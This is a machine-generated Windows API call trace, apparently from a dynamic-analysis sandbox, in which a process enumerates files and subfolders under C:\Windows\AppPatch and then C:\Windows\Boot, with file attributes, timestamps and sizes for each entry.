	[0086.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AcLayers.dll" (normalized: "c:\\windows\\apppatch\\aclayers.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2558 | out: lpFileInformation=0x127e2558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ebc8c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89ebc8c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89f08b88, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x89400)) returned 1
	[0086.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AcRes.dll" (normalized: "c:\\windows\\apppatch\\acres.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e25a8 | out: lpFileInformation=0x127e25a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f511ee, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x66f511ee, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xf11e1150, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0086.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AcSpecfc.dll" (normalized: "c:\\windows\\apppatch\\acspecfc.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2648 | out: lpFileInformation=0x127e2648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x761d0cd0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x761d0cd0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x7d3bb510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x73c00)) returned 1
	[0086.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AcXtrnal.dll" (normalized: "c:\\windows\\apppatch\\acxtrnal.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2698 | out: lpFileInformation=0x127e2698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x678fcb0d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x678fcb0d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x7d6424a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33c00)) returned 1
	[0086.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AppPatch64" (normalized: "c:\\windows\\apppatch\\apppatch64"), fInfoLevelId=0x0, lpFileInformation=0x127e26e8 | out: lpFileInformation=0x127e26e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571de7e6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x571de7e6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.312] CreateFileW (lpFileName="C:\\Windows\\AppPatch\\AppPatch64" (normalized: "c:\\windows\\apppatch\\apppatch64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.312] FindFirstFileW (in: lpFileName="C:\\Windows\\AppPatch\\AppPatch64\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571de7e6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x571de7e6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.313] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571de7e6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x571de7e6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.313] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4733d573, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4733d573, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x2244a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcGenral.dll", cAlternateFileName="")) returned 1
	[0086.313] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83436f83, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x55800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcLayers.dll", cAlternateFileName="")) returned 1
	[0086.313] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a57971, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x42a57971, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x353060, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="acspecfc.dll", cAlternateFileName="")) returned 1
	[0086.313] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424fc85d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x424fc85d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x5dc700, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcXtrnal.dll", cAlternateFileName="")) returned 1
	[0086.313] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e69f36, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x23e69f36, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf60f60, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="apihex64.dll", cAlternateFileName="")) returned 1
	[0086.313] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83436f83, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e706, dwReserved0=0x0, dwReserved1=0x0, cFileName="sysmain.sdb", cAlternateFileName="")) returned 1
	[0086.313] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.313] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AppPatch64\\AcGenral.dll" (normalized: "c:\\windows\\apppatch\\apppatch64\\acgenral.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2918 | out: lpFileInformation=0x127e2918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4733d573, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4733d573, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x2244a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4b800)) returned 1
	[0086.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AppPatch64\\AcLayers.dll" (normalized: "c:\\windows\\apppatch\\apppatch64\\aclayers.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2968 | out: lpFileInformation=0x127e2968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83436f83, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x55800)) returned 1
	[0086.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AppPatch64\\AcXtrnal.dll" (normalized: "c:\\windows\\apppatch\\apppatch64\\acxtrnal.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e29b8 | out: lpFileInformation=0x127e29b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424fc85d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x424fc85d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x5dc700, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x21000)) returned 1
	[0086.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AppPatch64\\acspecfc.dll" (normalized: "c:\\windows\\apppatch\\apppatch64\\acspecfc.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2a08 | out: lpFileInformation=0x127e2a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a57971, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x42a57971, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x353060, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b200)) returned 1
	[0086.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AppPatch64\\apihex64.dll" (normalized: "c:\\windows\\apppatch\\apppatch64\\apihex64.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2a58 | out: lpFileInformation=0x127e2a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e69f36, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x23e69f36, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf60f60, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00)) returned 1
	[0086.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AppPatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb"), fInfoLevelId=0x0, lpFileInformation=0x127e2aa8 | out: lpFileInformation=0x127e2aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83436f83, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e706)) returned 1
	[0086.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\Custom" (normalized: "c:\\windows\\apppatch\\custom"), fInfoLevelId=0x0, lpFileInformation=0x127e2af8 | out: lpFileInformation=0x127e2af8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb58a30, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb58a30, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.318] CreateFileW (lpFileName="C:\\Windows\\AppPatch\\Custom" (normalized: "c:\\windows\\apppatch\\custom"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.318] FindFirstFileW (in: lpFileName="C:\\Windows\\AppPatch\\Custom\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb58a30, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb58a30, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.318] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb58a30, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb58a30, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.318] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb58a30, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x987a7ac9, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom64", cAlternateFileName="")) returned 1
	[0086.318] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.318] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\Custom\\Custom64" (normalized: "c:\\windows\\apppatch\\custom\\custom64"), fInfoLevelId=0x0, lpFileInformation=0x127e2b98 | out: lpFileInformation=0x127e2b98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb58a30, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x987a7ac9, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.318] CreateFileW (lpFileName="C:\\Windows\\AppPatch\\Custom\\Custom64" (normalized: "c:\\windows\\apppatch\\custom\\custom64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.318] FindFirstFileW (in: lpFileName="C:\\Windows\\AppPatch\\Custom\\Custom64\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb58a30, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x987a7ac9, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.318] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb58a30, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x987a7ac9, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.318] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.318] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\acwow64.dll" (normalized: "c:\\windows\\apppatch\\acwow64.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2be8 | out: lpFileInformation=0x127e2be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe234c5df, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xe234c5df, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7d5cf8b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xac00)) returned 1
	[0086.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\apihex86.dll" (normalized: "c:\\windows\\apppatch\\apihex86.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2c38 | out: lpFileInformation=0x127e2c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7828c580, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7828c580, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400)) returned 1
	[0086.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\drvmain.sdb" (normalized: "c:\\windows\\apppatch\\drvmain.sdb"), fInfoLevelId=0x0, lpFileInformation=0x127e2c88 | out: lpFileInformation=0x127e2c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89f08b88, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89f08b88, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89f2ece8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2504e)) returned 1
	[0086.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\en-US" (normalized: "c:\\windows\\apppatch\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x127e2cd8 | out: lpFileInformation=0x127e2cd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368b31d3, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.319] CreateFileW (lpFileName="C:\\Windows\\AppPatch\\en-US" (normalized: "c:\\windows\\apppatch\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.319] FindFirstFileW (in: lpFileName="C:\\Windows\\AppPatch\\en-US\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368b31d3, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.319] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368b31d3, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.319] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcRes.dll.mui", cAlternateFileName="")) returned 1
	[0086.319] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.320] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\en-US\\AcRes.dll.mui" (normalized: "c:\\windows\\apppatch\\en-us\\acres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x127e2d78 | out: lpFileInformation=0x127e2d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47600)) returned 1
	[0086.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\msimain.sdb" (normalized: "c:\\windows\\apppatch\\msimain.sdb"), fInfoLevelId=0x0, lpFileInformation=0x127e2dc8 | out: lpFileInformation=0x127e2dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89f2ece8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89f2ece8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a11decc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1aeae2)) returned 1
	[0086.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\pcamain.sdb" (normalized: "c:\\windows\\apppatch\\pcamain.sdb"), fInfoLevelId=0x0, lpFileInformation=0x127e2e18 | out: lpFileInformation=0x127e2e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7339606, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7339606, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7339606, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xaf82)) returned 1
	[0086.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb"), fInfoLevelId=0x0, lpFileInformation=0x127e2e68 | out: lpFileInformation=0x127e2e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a11decc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a11decc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a1dc5ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3e2f48)) returned 1
	[0086.320] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot" (normalized: "c:\\windows\\boot"), fInfoLevelId=0x0, lpFileInformation=0x127e2eb8 | out: lpFileInformation=0x127e2eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.321] CreateFileW (lpFileName="C:\\Windows\\Boot" (normalized: "c:\\windows\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
